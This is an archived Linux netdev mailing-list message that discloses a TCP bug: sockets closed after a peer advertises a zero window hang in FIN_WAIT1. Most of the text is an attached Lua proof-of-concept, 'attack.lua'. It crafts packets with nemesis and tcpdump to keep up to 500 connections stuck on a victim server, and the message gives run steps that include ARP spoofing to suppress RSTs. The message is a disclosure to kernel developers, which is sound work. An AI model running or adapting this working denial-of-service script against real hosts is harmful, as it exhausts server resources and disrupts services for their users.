From: Andrey Dmitrov <andrey.dmitrov@oktetlabs.ru>
To: netdev@vger.kernel.org
Cc: "Alexandra N. Kossovsky" <Alexandra.Kossovsky@oktetlabs.ru>,
Konstantin Ushakov <kostik@oktetlabs.ru>
Subject: TCP connection will hang in FIN_WAIT1 after closing if zero window is advertised
Date: Mon, 15 Sep 2014 20:11:44 +0400 [thread overview]
Message-ID: <54170FC0.6020907@oktetlabs.ru> (raw)
[-- Attachment #1: Type: text/plain, Size: 2053 bytes --]
Greetings,
there is possible vulnerability in the TCP stack. Closing a socket after
the TCP zero window advertising by peer leads to the socket stuck in
FIN_WAIT1 state. FIN-ACK packet is not sent and not retransmitted. So
the connection remains alive and without relation to any socket while
the peer sends replies to the zero probe packets. It is possible to
create a lot of connections in the same manner which will be in
FIN_WAIT1 state forever.
Linux version 3.13-1-amd64 (debian-kernel@lists.debian.org) (gcc version
4.8.2 (Debian 4.8.2-16) ) #1 SMP Debian 3.13.10-1 (2014-04-15)
I've written a script on Lua to reproduce this issue, find it in
attachment please. I've used it with two hosts host_A (victim) and
host_B (attacker), which are directly connected to each other. host_A
has lighttpd installed and runned. Actually host_A can have any opened
TCP listener socket to be attacked. If it closes any established with
attacker connection it will stuck in the FIN_WAIT1 state. The script
creates a number of TCP connections with the victim and sends replies
for the zero window probe packets.
The test requires lua, tcpdump and nemesis on the host_B:
aptitude install lua5.1 lua5.1-posix nemesis tcpdump
How to run the test:
1. Run a httpd daemon on the host_A (I've used lighttpd).
2. Copy the test script attack.lua to the host_B.
3. Fill in the tested interfaces configuration (source, destination IP
and MAC addresses) in the beginning of the file attack.lua. You can set
maximum connections number in the variable *limit*, by default it is 500.
4. Set a fake MAC address for victim interface in host_B ARP table. It
is to prevent host_B system replies (RST) receiving by the host_A:
sudo arp -s <host_A IP addr> <any MAC address>
5. Run the test script on the host_B:
sudo ./attack.lua
After ~10 minutes you will see 500 connections in the FIN_WAIT1 state on
the host_A:
netstat | grep FIN_WAIT1 | wc -l
500
Even if you close the http daemon the connections still will be alive.
Thanks,
Andrey Dmitrov
[-- Attachment #2: attack.lua --]
[-- Type: text/x-lua, Size: 3635 bytes --]
#!/usr/bin/lua
require("posix")
require("math")
require("os")
--~ Network configuration
--~ Source = attacker
--~ Destination = victim
local limit = 500 -- Maximum connections number
local iface = "eth3" -- Source (attacker) interface
local src_mac = "00:0f:53:01:39:94" -- Actual source interface MAC
local dst_mac = "00:0f:53:01:39:7c" -- Actual destination (victim) interface MAC
local src = "10.0.5.1" -- Source IP
local dst = "10.0.5.2" -- The destination IP
local dst_poprt = 80 -- The destination port
local nemesis = string.format("nemesis tcp -d %s -S %s -D %s -y %d -H %s -M %s",
iface, src, dst, dst_poprt, src_mac, dst_mac)
--~ Set fake MAC of the victim interface in the ARP table to prevent the attacker
--~ system replies receiving by the victim
--~ os.execute(string.format("arp -s %s 00:0c:29:c0:94:bf", dst))
math.randomseed(os.time())
function get_port(cs, idx)
local port
local conn
local i
local ex
repeat
port = math.random(30000, 60000)
ex = false
for i, conn in pairs(cs) do
if conn.port == port then
ex = true
break
end
end
until not ex
return port
end
function send_syn(conn, port, seqn)
local cmd
conn.port = port
conn.seqn = (seqn + math.random(1000, 5000)) % 4294967295
cmd = string.format("%s -fS -x %d -s %s -a 0 -w 29200 >/dev/null", nemesis,
conn.port, tostring(conn.seqn))
print(cmd)
os.execute(cmd)
conn.seqn = conn.seqn + 1
return seqn
end
function get_conn_by_port(cs, port)
local i
local conn
for i, conn in pairs(cs) do
if tonumber(conn.port) == tonumber(port) then
return conn
end
end
return nil
end
function send_ack(conn, packet, ackn)
local win = 0
if not ackn or not conn.seqn then
return
end
conn.ackn = ackn
cmd = string.format("%s -fA -x %d -s %s -a %s -w %d >/dev/null", nemesis,
conn.port, tostring(conn.seqn), tostring(ackn), win)
print(cmd)
os.execute(cmd)
end
function send_reply(cs, packet)
local conn
if not packet then
return
end
conn = get_conn_by_port(cs, packet.src_port)
if not conn then
return
end
if packet.flags == "S." then
send_ack(conn, packet, packet.seqn + 1)
elseif packet.flags == "." then
if packet.seqn == nil then
packet.seqn = conn.ackn
end
send_ack(conn, packet, packet.seqn)
end
end
function get_packet(line)
local packet = {}
local psrc
local pdst
if not line then
return nil
end
--~ Skip unexpected and outgoing packets
psrc = string.find(line, src)
pdst = string.find(line, dst)
if not pdst or not pdst or psrc < pdst then
return nil
end
packet.src_port = line:match(src .. ".(%d+)")
packet.dst_port = line:match(dst .. ".(%d+)")
packet.flags = line:match("%[([%a,%.]+)%]")
packet.seqn = line:match("seq (%d+)")
packet.ackn = line:match("ack (%d+)")
print(packet.src_port, packet.dst_port, packet.flags, packet.seqn, packet.ackn)
return packet
end
function main_loop()
local packet
local cs = {}
local idx = 0
local f
local seqn = 1971746917
local prev_time = 0
local curr_time
f = io.popen("tcpdump -i " .. iface .. " -l -n tcp src port 80")
while true do
if idx < limit then
curr_time = os.time()
if curr_time ~= prev_time then
prev_time = curr_time
idx = idx + 1
cs[idx] = {}
cs[idx].idx = idx
seqn = send_syn(cs[idx], get_port(cs, idx), seqn)
end
end
packet = get_packet(f:read("*l"))
send_reply(cs, packet)
end
io.close(f)
end
main_loop()
next reply other threads:[~2014-09-15 16:17 UTC|newest]
Thread overview: 14+ messages / expand[flat|nested] mbox.gz Atom feed top
2014-09-15 16:11 Andrey Dmitrov [this message]
2014-09-15 19:43 ` TCP connection will hang in FIN_WAIT1 after closing if zero window is advertised Neal Cardwell
2014-09-16 9:29 ` Andrey Dmitrov
2014-09-15 23:15 ` Hannes Frederic Sowa
2014-09-15 23:37 ` Yuchung Cheng
2014-09-16 12:49 ` Andrey Dmitrov
2014-09-16 1:50 ` Eric Dumazet
2014-09-16 8:37 ` Hannes Frederic Sowa
2014-09-16 12:47 ` Andrey Dmitrov
2014-09-16 13:09 ` Eric Dumazet
2014-09-16 14:08 ` Andrey Dmitrov
2014-09-16 15:11 ` Yuchung Cheng
2014-09-16 16:31 ` Neal Cardwell
2014-09-16 17:04 ` Eric Dumazet
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=54170FC0.6020907@oktetlabs.ru \
--to=andrey.dmitrov@oktetlabs.ru \
--cc=Alexandra.Kossovsky@oktetlabs.ru \
--cc=kostik@oktetlabs.ru \
--cc=netdev@vger.kernel.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).